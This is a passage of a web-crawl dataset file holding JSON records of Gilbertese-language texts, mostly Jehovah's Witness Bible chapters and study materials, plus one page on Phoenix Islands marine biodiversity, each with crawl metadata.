N na aki mwemwe. Ma ngaia ae e kimareirei nanou, ao e kakatonga neboau: ao ane e na maeka raoi rabatau ni kaantaninga.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-kaongora-ibukin-te-reirei-beberuare-2016\/teimatoa-ni-beku-iroun-te-atua-ma-te-kimwareirei\/","date":"2018-01-19T15:46:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888041.33\/warc\/CC-MAIN-20180119144931-20180119164931-00532.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1449,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngke e kabureaki te abotoro Ioane n te aba ae Batemoti, ao e anganna Iesu miitara aika 16 teuana imwin teuana, ke taamnein te tai ae e na roko. A kaotaki ni miitara aikai aroni katabuan aran Iehova, rokon ana Tautaeka n Uea, ao kakororaoan nanona n te aonnaba n aron are i karawa.\nN te miitara teuana, ao Ioane e nora Iehova i aon ana kaintokanuea ae mimitong ao e otabwaniniaki irouia unimwaane aika 24 aika a bwainia ni kunnikai aika mainaina, ao a toka i aon atuia baunuea aika koora. E nako man te kaintokanuea te iti ma karongoaan te baa. A bobaraaki unimwaane ake 24 i matan Iehova ao a taromauria. N te miitara are teuana, e noriia Ioane te koraki ae uanao mai buakoia natannaomata, botannaomata, ao taian taetae, ake a taromauria Iehova. E kawakinia te Tiibutetei ae Iesu ao e kairiia nakon te ran ni kamaiu. N te miitara riki teuana imwin anne, e a moana ana tautaeka Iesu bwa te Uea i karawa ma unimwaane ake 24. N te miitara are imwina, ao Ioane e nora Iesu ni buakana te rakon are Tatan, ma ana taimonio. Ao e karenakoia mai karawa nako aon te aba.\nE nora Ioane te taamnei ae tamaroa ae kaota te Tiibutetei ma naake 144,000 bwa a tei i aon te Maunga ae Tion. E nora naba te anera ae kibakiba ni kabutaa te aonnaba, ao n tuangia aomata bwa a na maaka te Atua ao n anganna te neboaki.\nN te miitara are imwina riki, e a waaki te buaka ae Aremaketon. N tain te buaka anne, e tokanikai Iesu ma ana anera i aon ana waaki ae buakaka Tatan. N te kabanea ni miitara, e noria Ioane bwa e a kororaoi te katiteuanaaki i karawa ao i aon te aonnaba. A a boni kamaunaaki Tatan ma kanoana. Ao a a bane kaaini karawa ao te aonnaba ni katabua aran Iehova ao n taromauria n tii ngaia.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/14\/boki-ae-te-kaotioti-ioane\/","date":"2018-01-17T01:40:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886792.7\/warc\/CC-MAIN-20180117003801-20180117023801-00608.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":323,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.48,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n17 N ana ka-12 n ririki n tautaeka Aati are Uean Iuta, ao e a riki Ootea+ are natin Eera bwa uean Iteraera i Tamaria, i nanon ruaiwa te ririki. 2 E teimatoa ni karaoa ae buakaka i matan Iehova, ma e aki roko ni buakakaia uean Iteraera ake imwaina. 3 Ao e waerake Tiaremanetera are Uean Aturia n ekaanako teuaei,+ ao e a riki Ootea bwa ana toro, ao e a anganganna te angabwai.+ 4 Ma e a ataia uean Aturia ae e irekereke Ootea ma te karitei, bwa e kanakoia taan uataeka nakon Tio are Uean Aikubita,+ ao e a aki anganga te angabwai nakon uean Aturia n aron ririki ake mai mwaina. Ao uean Aturia e kaina teuaei ao ni kabaea n te karabuuti. 5 E ninia te aba ni kabutaa uean Aturia ao e nako Tamaria ao e otabwaninia n ekianako i nanon tenua te ririki. 6 N ana karuaiwa n ririki n tautaeka Ootea, ao e a taua Tamaria uean Aturia.+ E a kairiia ngkanne tibun Iteraera bwa taenikai+ nako Aturia, ao e kamaekaia i Aiira ao i Abora i rarikin te karaanga ae Kotan+ ao n aia kaawa nako I-Miria.+ 7 E riki aei ibukina bwa a a tia tibun Iteraera ni bure nakon Iehova ae Atuaia, are e kairiia ni kaotinakoia man te aba are Aikubita mai aani mwaakani Barao are uean Aikubita.+ A taromaurii* atua riki tabeman,+ 8 a kakairi n aia katei natannaomata ake e kakioianako Iehova mai mwaia tibun Iteraera, ao a kakairi n aia katei uean Iteraera ake a a tia ni karaoi. 9 A ukeri tibun Iteraera baika aki eti iroun Iehova ae Atuaia. A teimatoa ni katei taabo aika rietata n aia kaawa ni kabane,+ ni moa man te taua n tantani nakon te kaawa ae nonoaki.* 10 A teimatoa ni katei aia boua aika tabu ao aia kai aika tabu*+ i aon nako tabuki aika rietata ao i aan nako kaai aika manguroro,+ 11 ao a kabueki karea ni kabubui n taabo aika rietata ni kabane, n aron are a karaoia natannaomata ake e kakioianako Iehova mai mwaia bwa taenikai.+ A teimatoa ni karaoi baika buakaka ni kauna Iehova. 12 A teimatoa n toro irouia bouannanti aika kamwara*+ ake e tuangia ni kangai Iehova ibukia: \"Kam na tai taromauria.\"+ 13 E teimatoa Iehova n anga te kauring nakoia tibun Iteraera ao tibun Iuta rinanoia ana burabeti ni kabane ma taan nori miitara,+ ni kangai: \"Kam na rairaki mani kawaimi aika buakaka!+ Kawakin au kaetieti ao au moti, ni kaineti ma te tua ni kabane are I tua nakoia ami bakatibu ao are I kanakoi nakoimi rinanoia au toro aika burabeti.\" 14 Ma a aki kan ongo ao a teimatoa n imanono n aron imanonoia* aia bakatibu ake a aki kaota onimakinan Iehova ae Atuaia.+ 15 A teimatoa n rawa nakon ana tua ao ana berita+ are e karaoia ma aia bakatibu, ao ana kauring ake e anga bwa te kauring nakoia,+ ao a teimatoa ni kakairi irouia bouannanti aika akea manenaia+ ao a a riki naba n akea manenaia,+ ni kakairi irouia natannaomata ake i rarikia ni kabutaa, ake e tua Iehova nakoia bwa a na aki kakairi irouia.+ 16 A teimatoa ni kitan ana tua ni kabane Iehova ae Atuaia ao a karaoi bouannanti aika biiti* aika kaao ataei aika uoman,+ ao te kai ae tabu,*+ ao a bobaraaki nakoni bwaini karawa ni kabane+ ao a toro irouni Baara.+ 17 A kabuekiia naba natiia mwaane ma natiia aine n te ai,*+ ao a kakaiwa+ ma n ukeri kanikinaeani baika tuai n riki, ao a teimatoa n anga ngaiia* nakoni karaoan ae buakaka i matan Iehova ni kaunna iai. 18 Mangaia are e a rangi n un Iehova irouia tibun Iteraera n te aro are e a kamwaawaia mai matana.+ E aki kariaia temanna bwa e na tiku, ma tii te baronga are Iuta. 19 Ao tibun Iuta a aki naba kawakin ana tua Iehova ae Atuaia,+ a nakonako naba n taiani katei ake a kakairi iai tibun Iteraera.+ 20 E rawa Iehova nakoia kanoan Iteraera ni kabane, ao e kabwainrangia ao e anga ngaiia nako nanoni baia taani kuribwai, ni karokoa ae e a bon tewenakoia mai matana. 21 E raeuaia tibun Iteraera man ana utu Tawita, ao a kaueaa Ieroboam are natin Nebata.+ Ma e rairiianako tibun Iteraera Ieroboam man irirakin Iehova, ao e karekeia n te bure ae kakaiaki. 22 Ao a teimatoa tibun Iteraera n nakonako n ana bure ni kabane Ieroboam ake e karaoi.+ A aki roko n te kitan 23 ni karokoa ae e a kamwaawaia tibun Iteraera Iehova mai matana, n aron are e taekinna rinanoia ana toro ni kabane aika burabeti.+ Mangaia are a a kairakinako tibun Iteraera mai abaia bwa taenikai nako Aturia,+ ike a a tiku iai ni karokoa te bong aei. 24 Ao uean Aturia e kairiia aomata mai Baburon, Kutu, Awa, Amata, ao Tebarewaim,+ ao e kamaekaia ni kaawan nako Tamaria n onei mwia tibun Iteraera. A abana Tamaria ao a maeka ni kaawana nako. 25 Ngke a moani maeka ikekei ao a aki maaka* Iehova. Ngaia are e a kanakoia raian Iehova nako buakoia,+ ao a tiringia tabeman mai buakoia aomata. 26 E kaongoaki uean Aturia ae kangai: \"A aki ataa aron te waaki n taromauri* ibukin Atuan te aba arei natannaomata ake ko kairiia bwa taenikai ao ni manga kamaekaia ni kaawan nako Tamaria. Mangaia are e teimatoa ni kanakoia raian nako buakoia ao a kamateia, ibukina bwa akea i buakoia ae e ataa aron te waaki n taromauri ibukin Atuan te aba arei.\" 27 Mangaia are e a tua uean Aturia ni kangai: \"Karekea temanna mai buakoia ibonga* ake kam kairiia bwa taenikai mai ikekei, ao kaokia bwa e na maeka ikekei ao n reireinia aron te waaki n taromauri ibukin Atuan te aba arei.\" 28 Mangaia are e a oki bwa e na maeka i Betaera+ temanna mai buakoia ibonga ake a kairiia bwa taenikai mai Tamaria, ao e a reireinia aroia ae a riai ni maaka* iai Iehova.+ 29 Ma a boni karaoi oin atuaia natannaomata aika kakaokoro nako, ake a katikui n aia auti n taromauri n taabo aika rietata ake a karaoi I-Tamaria. A karaoa anne natannaomata aika kakaokoro nako n aia kaawa ake a maeka iai. 30 Mangaia are a karaoa Tukotabenota rorobuakani Baburon, a karaoa Nerekara rorobuakani Kutu, a karaoa Atima rorobuakan Amata,+ 31 ao I-Awa a karaoa Nibeati ma Taretaka. Ao I-Tebarewaim a kakabuekiia natiia n te ai nakon Aterammereka ao Anammareka ake atuan Tebarewaim.+ 32 E ngae ngke a maaka Iehova, ma a rineiia ibonga ibukin taabo aika rietata mai buakoia aia aomata, ao a beku naakai ibukia n auti n taromauri ake n taabo aika rietata.+ 33 Mangaia are a maaka Iehova, ma a bon taromaurii oin atuaia, ni kaineti ma aron aia waaki n taromauri* natannaomata ake a kanakoaki mai buakoia.+ 34 A kakairi n aron aia waaki n taromauri* ake mai mwaina ni karokoa te bong aei. Akea i buakoia ae e taromauria* Iehova ao akea ae e kakairi n ana taeka, n ana moti, n te Tua, ao n te kaetieti are e anga Iehova nakoia tibun Iakoba, are e bita arana nakon Iteraera.+ 35 Ngke e karaoa te berita Iehova ma ngaiia,+ ao e tua ni kangai nakoia: \"Kam na tai maakuia atua riki tabeman, ao kam na tai bobaraaki nakoia ke n toro irouia, ke n angakarea nakoia.+ 36 Ma bon Iehova ae Ngaia ae kam riai ni maakua,+ are e kairingkami ni kaotinakoingkami man te aba are Aikubita n te mwaaka ae korakora ao n te bai ae aroraki,+ ao kam riai ni bobaraaki nakoina, ao kam riai n angakarea nakoina. 37 Ao kam riai ni kakairi raoi n taai nako n taeka, ni mooti, n te Tua, ao n te kaetieti, ake e korei ibukimi,+ ao kam na tai maakuia atua riki tabeman. 38 Ao kam na tai mwanuokina te berita are I karaoia ma ngkami,+ ao kam na tai maakuia atua riki tabeman. 39 Ma kam riai ni maaka Iehova ae Atuami, bwa boni ngaia ae e na kamaiuingkami mai nanoni baia taani kairiribai nakoimi ni kabane.\" 40 Ma a aki ongeaba ao a kakairi n aron aia waaki n taromauri* are mai mwaina.+ 41 Mangaia are a a maaka Iehova+ natannaomata aikai, ma a bon toro naba irouia aia bouannanti aika kaaraki. Ao natiia ma tibuia a karaoa are a karaoia aia bakatibu, ni karokoa te bong aei.\n^ Ebera, \"maakuia.\"\n^ Ae taekan taabo nako aika tao a karako kaaia ke a kau aomata.\n^ Te taeka n Ebera aei tao e irekereke ma te taeka ibukin \"te nakotaari,\" ao e kabonganaaki bwa te taeka ni kabuakaka.\n^ Ebera, \"a kamatoatoai roroaia n aron roroaia.\"\n^ Ke, \"bouannanti aika kaburoaki n atoaki.\"\n^ Ebera, \"kanakoia rinanon te ai.\"\n^ Ebera, \"kaboonakoia.\"\n^ Ke, \"taromauria.\"\n^ Ke, \"taromauria.\"\n^ Ebera, \"maaka.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-uea\/17\/","date":"2018-01-18T04:45:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887065.16\/warc\/CC-MAIN-20180118032119-20180118052119-00453.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1471,"character_repetition_ratio":0.072,"word_repetition_ratio":0.012,"special_characters_ratio":0.233,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n9 \"Ongora ngkami aika tibun Iteraera, kam a rinanon te Ioretan+ nakon iterana n te bong aei, bwa kam na rin ao n taui aia tabo natannaomata aika kakannato ao ni korakora riki nakoimi,+ kaawa aika korakora ma n nonoaki nako karawa,*+ 2 ao te natannaomata ae a korakora ao a abwabwaki, aika tibuia taian Anakim,+ ake kam ataiia ao n ongongo taekaia ae kangai, 'Antai ae kona n tei ni kaaitaraia tibun Anaka?' 3 Mangaia ae kam riai n ataia n te bong aei bwa e na mwananga Iehova ae Atuami n rimoami.+ Bon te ai ae kaakang ngaia,+ ao e na kamaunaia. E na kataenikaiia i matami, bwa kam aonga ni waekoa ni kakioianako* ao ni kamaunaia, n aron are e beritanna Iehova nakoimi.+ 4 \"Ngkana e kakioianako Iehova ae Atuami mai mwaimi ao tai kangai i nanomi, 'Bon ibukin raoiroiu ae e a karinai iai Iehova bwa N na abana te aba aei.'+ Ma bon ibukini buakakaia natannaomata aikai,+ ae ngaia ae e a kakioianako iai Iehova mai mwaimi. 5 Bon tiaki ibukin raoiroimi ke etin nanomi ae kam a rin iai n abana abaia. Ma bon ibukini buakakaia natannaomata aikai, ae ngaia ae e a kakioianako iai Iehova ae Atuami mai mwaimi,+ ao e aonga naba Iehova ni kakororaoa te taeka are e taetae n tuea iai nakoia ami bakatibu ake Aberaam,+ Itaaka,+ ao Iakoba.+ 6 Ngaia are kam na ataia, bwa tiaki ibukin raoiroimi ae e anganingkami iai te aba ae raoiroi aei Iehova ae Atuami bwa kam na abanna, ibukina bwa bon aomata ngkami aika kam imanono.*+ 7 \"Ururinga—ao tai mwamwaninga—te aro are kam kauna iai Iehova ae Atuami n te rereua.+ Kam karitei nakon Iehova man te bong are kam kitana iai te aba are Aikubita, ni karokoa rokomi n te tabo aei.+ 8 Kam kauna naba Iehova i Oreba ao e a rangi n un Iehova iroumi, n te aro ae e nang kamaunaingkami.+ 9 Ngke I ararakea te maunga bwa N na anai baaba ake atibu,+ ake baaba ake e mena iai te berita are e karaoia Iehova ma ngkami,+ ao I tiku i aon te maunga i nanon 40 te ngaina ao 40 te bong,+ ao akea te amwarake ae I kanna ao te ran ae I nimma. 10 Ao e anganai Iehova baaba ake uoua ake atibu ake a korobokiaki n tabonibain te Atua, ao a mena i aoia taeka ni kabane ake e taekin Iehova nakoimi i aon te maunga man te ai, n te bong are kam ikotaki iai ikanne.+ 11 Ngke e a koro 40 te ngaina ao 40 te bong, ao e a anganai Iehova baaba ake uoua ake atibu, ake baaba ake e mena iai te berita, 12 ao e tuangai Iehova ni kangai, 'Teirake ao kawaekoako ruuo mai ikai, ibukina bwa a karaoi mwakuri aika buakaka am aomata ake ko kairiia ni kaotinakoia man te aba are Aikubita.+ A waekoa n rairakinako man te kawai are I tua bwa a na kakairi iai. A karaoa aia bouannanti ae te biti.'*+ 13 E taku ngkanne Iehova nakoiu, 'I a tia n noriia aomata aikai, ao noria! bon aomata aika imanono.*+ 14 Kariaia bwa N na kamaunaia ao ni kamaunai araia mai aani karawa, ao kariaia bwa N na karaoiko bwa te natannaomata ae korakora ma n rangi ni bati riki nakoia.'+ 15 \"Ao I rairaki ao n ruo rikaaki man te maunga ngke e tabe ni bue te maunga n te ai,+ ao a mena i nanoni baiu ni kauaai baaba ake uoua ake e mena iai te berita.+ 16 Ao I taratara nako ao I noria bwa kam bure nakon Iehova ae Atuami! Kam a tia ni karaoa ami kao te teei ae te biti.* Kam waekoa n rairakinako man te kawai are e tua Iehova bwa kam na kakairi iai.+ 17 Mangaia are I taui baaba ake uoua, ao I karenakoi i aontano ao ni kamaeinikuni i matami.+ 18 Ao I bobaraaki i aontano i matan Iehova n aron are mai mwaina, i nanon 40 te ngaina ao 40 te bong. I aki kana te amwarake teuana ke ni moi n te ran+ ibukini buure ni kabane ake kam karaoi, n aromi ni karaoa ae buakaka i matan Iehova ao ni kaunna. 19 Bwa I maakunrang ibukin unin Iehova ae korakora iroumi, n te aro are e nang kamaunaingkami.+ Ma e ngae n anne, e ongo naba Iehova irou n te tai anne.+ 20 \"E rangi n un Iehova iroun Aaron n te aro are e nang kamauna+, ma I kakorakoraai naba n tataro ni bubutii ibukin Aaron n te tai anne. 21 Ao I anaa te kao te teei are kam karaoia are kam a bure iai,+ ao I kabuekia n te ai, ao I kamantintia ni kamtea raoi ni karokoa ae e a mte n aroni bubun te tano, ao I karenakoa bubuna n te karaanga ae raanga man te maunga.+ 22 \"Irarikina, kam karokoa naba unin Iehova i Tabera,+ i Mata,+ ao i Kiberotaataawa.+ 23 Kam a manga karitei naba nakon te baere e tua Iehova ae Atuami,+ ngke e kaotinakoingkami Iehova mai Katetibaanea+ ao e taku, 'Waerake ao abana te aba are N na bon anganingkami!' kam bon aki onimakinna+ ao kam aki ongeaba irouna. 24 Kam karitei nakon Iehova man te tai are I ataingkami iai. 25 \"Ngaia are I teimatoa ni bobaraaki i aontano i matan Iehova i nanon 40 te ngaina ao 40 te bong,+ bwa I bobaraaki i aontano n aron aei ibukina bwa e taku Iehova bwa e na kamaunaingkami. 26 I moana au kakorakora n tataro ni bubutii nakon Iehova ni kangai, 'Te Uea ae Moan te Rietata ae Iehova, tai kamaunaia am aomata. Bon te natannaomata ae am bwai*+ ae ko a manga kabooia rinanoni kakannatom, ao ko kairiia ni kaotinakoia mai Aikubita n te bai ae korakora.+ 27 Uringia am toro ake Aberaam, Itaaka, ao Iakoba.+ Tai mutiakina imanonoia te natannaomata aei, buakakaia, ao aia bure.+ 28 Bwa a kaawa ni kangai kaain te aba are ko kairira mai iai: \"E a aki kona Iehova ni kairiia nakon te aba are e beritanna nakoia, ao ibukina bwa e ribaiia e a kairiia ni kaotinakoia bwa e na kamateia n te rereua.\"+ 29 Bwa bon am aomata ao te natannaomata ae am bwai,*+ ae ko kairiia ni kaotinakoia ni mwaakam ae korakora ao ni baim ae aroraki.'+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/9\/","date":"2018-01-18T04:44:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887065.16\/warc\/CC-MAIN-20180118032119-20180118052119-00453.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1063,"character_repetition_ratio":0.061,"word_repetition_ratio":0.011,"special_characters_ratio":0.245,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ibukin tionakon PIPA man te aonnaba ao aio ae a nang ni mano iai ao n riki naba bwa nneia ni buti te nanai ni ika teuana ma teuana mairouia ake a bubura ni karokoia ake a nang ni uarereke man aki noraki n te mata. Man raun te tabo aio ao kinakina bwa te tabo ni kaabung ao ikai are a kinaki iai PIPA bwa te tabo teuana ae moan te kakawaki bwa e kona ni kamatebwaiaki iai aron wakin te reitanimaiu.\nPIPA e bon kawakini taabo are a mwaneaki man kawakinaki iai kaubwain nako marawa n rinania nako, n aekaia nako ao n roroia nako aika a kakaokoro. Aio te aeka n tabo ae akea aekakina n te aonnaba ike a maeka iai ni marurung aekan ika nako, aekan rakai nako, aekan mannikiba, aekan aai ma mwakauro ao arokan aon te aba. Bon akea aekana n te aonnaba aei.","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/phoenixislands.org\/biodiversity-ki.php","date":"2018-01-18T15:22:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887423.43\/warc\/CC-MAIN-20180118151122-20180118171122-00427.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":151,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) July 2016\nIai n te maekatin aei kaongora ibukin te reirei ibukin Aokati 29 nakon Tebetembwa 25, 2016.\nA bati kangaanga ao kakabwaia naba nakoia naake a motinnanoia bwa a na beku n taabo ake e korakora riki iai kainnanoaia taan uarongorongoa te Tautaeka n Uea.\nE kabwarabwaraa Iesu bwa e aera ngkai ti riai n taotaon nanora nakon tangirani bwaai.\nBwaai aika tenua ake a kona ni kakerikaaka marurungira ao taningamaraura ngkana ti aki taratara raoi.\nE a tia Iehova ni kaotia bwa bon te rao ae kakaonimaki n taai ake ti raraoma iai ao n rawawata.\nTera aroni kaotan ana akoi ae rianako Iehova ae moanibaan te raoiroi nakoia aomata?\nE kangaa ni katuruturuaki ana akoi ae rianako te Atua n te \"rongorongo ae raoiroi ae taekan te Tautaeka n Uea\"?\nTera ae nanonaki ni katenaani kaai aika uaai ae kabwarabwaraaki n Etekiera mwakoro 37?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-reirei-n-te-taua-n-tantani-turai-2016\/","date":"2018-01-20T21:10:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889733.57\/warc\/CC-MAIN-20180120201828-20180120221828-00081.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":148,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.412,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BAIKA KAKAWAKI AIKA MENA N ANA TAEKA TE ATUA | ETEKIERA 39-41 Ana Miitara Etekiera Ibukin te Tembora ao Irekerekem Iai Ana Miitara Etekiera Ibukin te Tembora ao Irekerekem Iai 40:10, 14, 16 Ti kauringaki n taian ruu n tantani ao boua aika rietata bwa a rietata riki ana kaetieti Iehova ibukin te taromauri ae itiaki Titirakiniko, 'N aaro raa ae I kona iai ni boutokai ana kaetieti Iehova aika kakawaki ma n raraoi?' Imwaina Imwina Print Tibwaia Tibwaia MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI Ana Miitara Etekiera Ibukin te Tembora ao Irekerekem Iai Kiribati Ana Miitara Etekiera Ibukin te Tembora ao Irekerekem Iai https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/m\/202017293\/univ\/art\/202017293_univ_sqr_xl.jpg","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/aokati-2017-mwb\/kaetieti-n-te-botaki-aok28-teb3\/ana-miitara-etekiera-ibukin-te-tembora\/","date":"2018-01-23T04:30:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891706.88\/warc\/CC-MAIN-20180123032443-20180123052443-00703.warc.gz","language":"gil","language_score":1.0000001192,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000001192092896}","num_words":105,"character_repetition_ratio":0.128,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E TITIRAKINIA TAAN REIREI IESU AE TEBWI MA UOUA ANA RIRIKI\nE TAEKINNA IESU BWA 'TAMANA' IEHOVA\nTaini ngkai te abue, ngaia are aei te tai are a nangi mwananga nako Ierutarem ana utu Ioteba ma raoraoia ao aia koraki, are a kakaraoia ni katoa ririki. A roko ikanne ibukini bukamaruan te Toa ae te Riao bwa anne te kaetieti n te Tua. (Te Tua-Kaua 16:16) Tao 75 te maire raroan te mwananga mai Natareta nako Ierutarem. Bon te tai n tabetabe ao ni kakukurei nakoia ni kabane. Ai 12 ngkai ana ririki Iesu ao e a rangi n ingainga nakon te toa ao n reken naba ana tai ni kaan ma te tembora.\nE ataia Iesu ma ana utu bwa bon tiaki tii tebongina bongin te Toa ae te Riao. Te bong are imwin te Toa ae te Riao boni moanakin bongin te Toa ae te Bwerena ae aki karikaki ae maanna itibong. (Mareko 14:1) E bon iangoaki bwa iteran te Toa ae te Riao. Maanin mwanangaia mani mwengaia i Natareta, tikuia i Ierutarem, ao manga okia nakoni mwengaia, tao uoua te wiki. Ma n te ririki aei, e a maan riki teutana ibukin te baere riki ae irekereke iai Iesu. E a tibwa ataaki te kangaanga anne i aoni kawaia n oki mai Ierutarem.\nA iangoia Ioteba ao Maria ni mwanangaia bwa e mena Iesu i buakoia aia koraki ao raoraoia ni mwananga ni kaineta meang. Ma ngke a a motirawa n te tairiki ao a aikoa noria i buakoia. Ngaia are a a nako ni kakaaea i buakoia raoia ni mwananga ma bon akea naba. E a aki reke natiia! A a oki rikaaki ngkanne nako Ierutarem ni kakaaea.\nA kakaaea ni kabongnga ma e aki reke ao a aki naba kunea n aia kauabong. N tokina ao a a kunea n te ruu teuana n te tembora n aia katenibong. A a nora Iesu n tekateka i buakoia taan reirei tabeman aika I-Iutaia. E ongongora irouia, e titirakinia, ao a a mimi ni buburan ana atatai.\nE titirakinna Maria ni kangai: \"Natiu, e aera ngkai ko karaoa aei nakoira? I a bora ngai ma tamam n ukoukoriko ma te rawawatannano.\"—Ruka 2:48.\nE mimi Iesu ngkai a aki ataa te tabo ae e na mena iai. E titirakinia ni kangai: \"E aera ngkai kam ukoukorai? Kam aki ataia ae N na bae ni mena n umwan Tamau?\"—Ruka 2:49.\nE oki rikaaki Iesu ma Ioteba ao Maria nakoni mwengaia i Natareta ao e teimatoa n aantaeka irouia. E tabe n rikirake ni wanawana ao ni marurung. E ngae ngke te roro n rikirake ngaia, e boni karekea akoana iroun te Atua ao aomata. Eng, e katea te banna ni katoto ae raoiroi Iesu man uarerekena ni karokoa ikawaina, n arona n aki tii ukoukori baika irekereke ma nanon te Atua ma e kaotiota naba karineaia ana karo.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/baika-riki-ni-karokoa-ana-mwakuri-ni-minita-Iesu\/utu-mwananga-nako-ierutarem\/","date":"2018-01-23T04:52:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891706.88\/warc\/CC-MAIN-20180123032443-20180123052443-00224.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":473,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E KOROTOBIBIAKI IESU AO IMWINA E UOTAKI NAKON TE TEMBORA\nA tiku i Betereem Ioteba ao Maria n oneani mwin are a na okira Natareta. Ngke e a koro ana kawanibong Iesu ao e a korotobibiaki ni kaineti ma ana Tua te Atua nakoia tibun Iteraera. (Nakoaia Ibonga 12:2, 3) Bon te katei naba bwa e na aranaki te merimeri ae te mwaane n te bong anne. A arana natiia bwa Iesu n aron tuangaia iroun te anera ae Kabiriera.\nImwin teuana tabun te namwakaina ao e a koro 40 ana bong Iesu. A na uotia nakea ngkai ana karo? Nakon te tembora i Ierutarem ae tii tabeua te maire raroana man te tabo are a maeka iai. E taekinaki n te Tua bwa e riai te tina n anga te karea n te tembora 40 te bong imwini bungiakin natina te mwaane.—Nakoaia Ibonga 12:4-8.\nE karaoa anne Maria. E uotii uoman mannikiba aika uarereke ibukin ana karea. E kaotaki n aei bwa e aki tau aia kataumwane Ioteba ao Maria. Ni kaineti ma te Tua ao e riai ni kareanaki te tiibu mwaane ae ataei ao te mannikiba. Ma ngkana e aki kona te tina ni kabooa te tiibu mwaane, e na anga ngkanne uoman te bitin ke te taobe. E riki anne nakoni Maria ao e anga baikanne bwa ana karea.\nE kawariia Ioteba ao Maria temanna te unimwaane n te tembora ae arana Timeon. E kaotia te Atua nakon teuaei bwa imwaini matena, ao e na nora ana Kristo Iehova are beritanaki ke te Mesia. E kairaki Timeon n te bong aei n te 